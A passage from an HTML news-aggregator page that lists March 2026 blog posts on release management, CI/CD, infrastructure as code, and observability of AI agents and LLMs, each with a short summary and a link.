          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-new-insights-integrations-and-ways-to-manage-releases-at-scale-with-launchdarkly"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today we’re happy to announce several new features that address these important issues that arise at enterprise scale, making it even easier to efficiently manage releases across your organization</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/launch-week-2024-feature-management-releases/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-7-key-takeaways-for-software-development-teams-from-redmonks-james-governor" class="group relative scroll-mt-24">
        <a href="#h3-7-key-takeaways-for-software-development-teams-from-redmonks-james-governor" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 7 key takeaways for software development teams from RedMonk’s James Governor
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-7-key-takeaways-for-software-development-teams-from-redmonks-james-governor"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>📅 Mar 23, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/7-takeaways-software-development-teams-james-governor/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-intelligent-caching-for-cicd-build-optimization" class="group relative scroll-mt-24">
        <a href="#h3-intelligent-caching-for-cicd-build-optimization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Intelligent Caching for CI/CD Build Optimization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-intelligent-caching-for-cicd-build-optimization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Intelligent caching for CI/CD reduces build times, lowers costs, and improves developer flow with smarter testing and parallel pipelines. | Blog</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/intelligent-caching-for-ci-cd-build-optimization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-rethinking-open-source-mentorship-in-the-ai-era" class="group relative scroll-mt-24">
        <a href="#h3-rethinking-open-source-mentorship-in-the-ai-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Rethinking open source mentorship in the AI era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-rethinking-open-source-mentorship-in-the-ai-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As contribution volume grows, mentorship signals are harder to read. The 3 Cs framework helps maintainers mentor more strategically... without burning out. The post Rethinking open source mentorship i</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/open-source/maintainers/rethinking-open-source-mentorship-in-the-ai-era/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-pulumi-iam-expands-manage-access-at-scale-with-tags-roles-and-teams" class="group relative scroll-mt-24">
        <a href="#h3-pulumi-iam-expands-manage-access-at-scale-with-tags-roles-and-teams" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Pulumi IAM Expands: Manage Access at Scale with Tags, Roles, and Teams
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-pulumi-iam-expands-manage-access-at-scale-with-tags-roles-and-teams"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Since the launch of Pulumi IAM with custom roles and scoped access tokens, organizations have been using fine-grained permissions to secure their automation and CI/CD pipelines. As teams scale to hund</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/expanding-pulumi-iam-custom-permissions/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-squad-runs-coordinated-ai-agents-inside-your-repository" class="group relative scroll-mt-24">
        <a href="#h3-how-squad-runs-coordinated-ai-agents-inside-your-repository" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How Squad runs coordinated AI agents inside your repository
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-squad-runs-coordinated-ai-agents-inside-your-repository"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>An inside look at repository-native orchestration with GitHub Copilot and the design patterns behind multi-agent workflows that stay inspectable, predictable, and collaborative. The post How Squad run</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/ai-and-ml/github-copilot/how-squad-runs-coordinated-ai-agents-inside-your-repository/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1810-brings-ai-native-triage-and-remediation" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1810-brings-ai-native-triage-and-remediation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.10 brings AI-native triage and remediation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1810-brings-ai-native-triage-and-remediation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitLab 18.10 introduces new AI-powered security capabilities focused on improving the quality and speed of vulnerability management. Together, these features can help reduce the time developers spend </p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-18-10-brings-ai-native-triage-and-remediation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-1810-agentic-ai-now-open-to-even-more-teams-on-gitlab" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-1810-agentic-ai-now-open-to-even-more-teams-on-gitlab" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab 18.10: Agentic AI now open to even more teams on GitLab
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-1810-agentic-ai-now-open-to-even-more-teams-on-gitlab"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Agentic AI is changing how software gets built. But for many teams, especially small and midsize ones, the path to adopting it has felt like an all-or-nothing decision: commit to a full platform subsc</p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-18-10-agentic-ai-now-open-to-even-more-teams-on-gitlab/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agentic-code-reviews-for-025-each" class="group relative scroll-mt-24">
        <a href="#h3-agentic-code-reviews-for-025-each" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agentic code reviews for $0.25 each
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agentic-code-reviews-for-025-each"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Code review has become the bottleneck nobody budgeted for. Developers are shipping faster than ever with AI assistance, but the review queue hasn&#39;t kept up. Code review times have jumped 91% on teams </p>
<p><strong>📅 Mar 19, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/agentic-code-reviews-with-flat-rate-pricing/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-for-beginners-getting-started-with-github-actions" class="group relative scroll-mt-24">
        <a href="#h3-github-for-beginners-getting-started-with-github-actions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub for Beginners: Getting started with GitHub Actions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-for-beginners-getting-started-with-github-actions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Set up your first GitHub Actions workflow in this how-to guide. The post GitHub for Beginners: Getting started with GitHub Actions appeared first on The GitHub Blog.</p>
<p><strong>📅 Mar 16, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/developer-skills/github/github-for-beginners-getting-started-with-github-actions/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-bedrock-agentcore-runtime-adds-webrtc-support-for-real-time-bidirectional-streaming" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-agentcore-runtime-adds-webrtc-support-for-real-time-bidirectional-streaming" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock AgentCore Runtime adds WebRTC support for real-time bidirectional streaming
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-agentcore-runtime-adds-webrtc-support-for-real-time-bidirectional-streaming"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock AgentCore Runtime now supports WebRTC for real-time bidirectional streaming between clients and agents, adding to the existing WebSocket protocol support. With WebRTC, developers can bu</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/03/amazon-bedrock-webrtc/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-lock-down-values-in-pulumi-esc-with-fnfinal" class="group relative scroll-mt-24">
        <a href="#h3-lock-down-values-in-pulumi-esc-with-fnfinal" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Lock Down Values in Pulumi ESC with fn::final
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-lock-down-values-in-pulumi-esc-with-fnfinal"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Pulumi ESC (Environments, Secrets, and Configuration) allows you to compose environments by importing configuration and secrets from other environments, but this also means a child environment can sil</p>
<p><strong>📅 Mar 17, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/esc-fn-final/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-we-give-we-grow-celebrating-womens-history-month-at-new-relic" class="group relative scroll-mt-24">
        <a href="#h3-we-give-we-grow-celebrating-womens-history-month-at-new-relic" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 We Give, We Grow: Celebrating Women’s History Month at New Relic
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-we-give-we-grow-celebrating-womens-history-month-at-new-relic"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See how New Relic celebrated Women’s History Month through our &quot;We Give, We Grow&quot; theme, featuring global networking, AI panels, community impact, and more.</p>
<p><strong>📅 Mar 26, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/we-give-we-grow-celebrating-womens-history-month-at-new-relic"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-opentelemetry-events-vs-new-relic-custom-events-capabilities-context-and-the-why" class="group relative scroll-mt-24">
        <a href="#h3-opentelemetry-events-vs-new-relic-custom-events-capabilities-context-and-the-why" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 OpenTelemetry Events vs. New Relic Custom Events: Capabilities, Context, and the “Why”
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-opentelemetry-events-vs-new-relic-custom-events-capabilities-context-and-the-why"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Compare OpenTelemetry Events and New Relic Custom Events—when to use each for diagnostics vs. analytics, with practical examples and a dual-track strategy.</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/otel-events-vs-newrelic-custom-events"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-testing-and-refining-claude-code-skills-with-mlflow" class="group relative scroll-mt-24">
        <a href="#h3-testing-and-refining-claude-code-skills-with-mlflow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Testing and Refining Claude Code Skills with MLflow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-testing-and-refining-claude-code-skills-with-mlflow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How to test Claude Code skills using MLflow tracing and LLM judges, and create a self-improvement loop where Claude Code refines its own skills.</p>
<p><strong>📅 Mar 23, 2026</strong> • <strong>📰 MLflow Blog</strong></p>
<p><a href="http://mlflow.org/blog/evaluating-skills-mlflow"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-observe-your-ai-agents-endtoend-tracing-with-openlit-and-grafana-cloud" class="group relative scroll-mt-24">
        <a href="#h3-observe-your-ai-agents-endtoend-tracing-with-openlit-and-grafana-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Observe your AI agents: End‑to‑end tracing with OpenLIT and Grafana Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-observe-your-ai-agents-endtoend-tracing-with-openlit-and-grafana-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Note: The world is changing all around us thanks to AI. Today, anyone and everyone can be a developer, using LLMs to create LLM-powered applications, which users can then interact with by using even m</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/ai-observability-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-monitor-model-context-protocol-mcp-servers-with-openlit-and-grafana-cloud" class="group relative scroll-mt-24">
        <a href="#h3-monitor-model-context-protocol-mcp-servers-with-openlit-and-grafana-cloud" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Monitor Model Context Protocol (MCP) servers with OpenLIT and Grafana Cloud
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-monitor-model-context-protocol-mcp-servers-with-openlit-and-grafana-cloud"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Note: The world is changing all around us thanks to AI. Today, anyone and everyone can be a developer, using LLMs to create LLM-powered applications, which users can then interact with by using even m</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/ai-observability-MCP-servers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-monitor-llms-in-production-with-grafana-cloudopenlit-and-opentelemetry" class="group relative scroll-mt-24">
        <a href="#h3-how-to-monitor-llms-in-production-with-grafana-cloudopenlit-and-opentelemetry" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to monitor LLMs in production with Grafana Cloud,OpenLIT, and OpenTelemetry
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-monitor-llms-in-production-with-grafana-cloudopenlit-and-opentelemetry"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Note: The world is changing all around us thanks to AI. Today, anyone and everyone can be a developer, using LLMs to create LLM-powered applications, which users can then interact with by using even m</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Grafana Blog</strong></p>
<p><a href="https://grafana.com/blog/ai-observability-llms-in-production/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-seer-fixes-seer-how-seer-pointed-us-toward-a-bug-and-helped-fix-an-outage" class="group relative scroll-mt-24">
        <a href="#h3-seer-fixes-seer-how-seer-pointed-us-toward-a-bug-and-helped-fix-an-outage" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Seer fixes Seer: How Seer pointed us toward a bug and helped fix an outage
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-seer-fixes-seer-how-seer-pointed-us-toward-a-bug-and-helped-fix-an-outage"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Seer is our AI agent that takes bugs and uses all of the context Sentry has to find the root cause and suggest a fix. We use it all the time to help us improve ...</p>
<p><strong>📅 Mar 20, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/seer-fixes-seer-debugging-agent/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-the-good-first-issue-how-to-make-your-contributions-sustainable" class="group relative scroll-mt-24">
        <a href="#h3-beyond-the-good-first-issue-how-to-make-your-contributions-sustainable" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond the good first issue - How to make your contributions sustainable
        </a>
        <button 
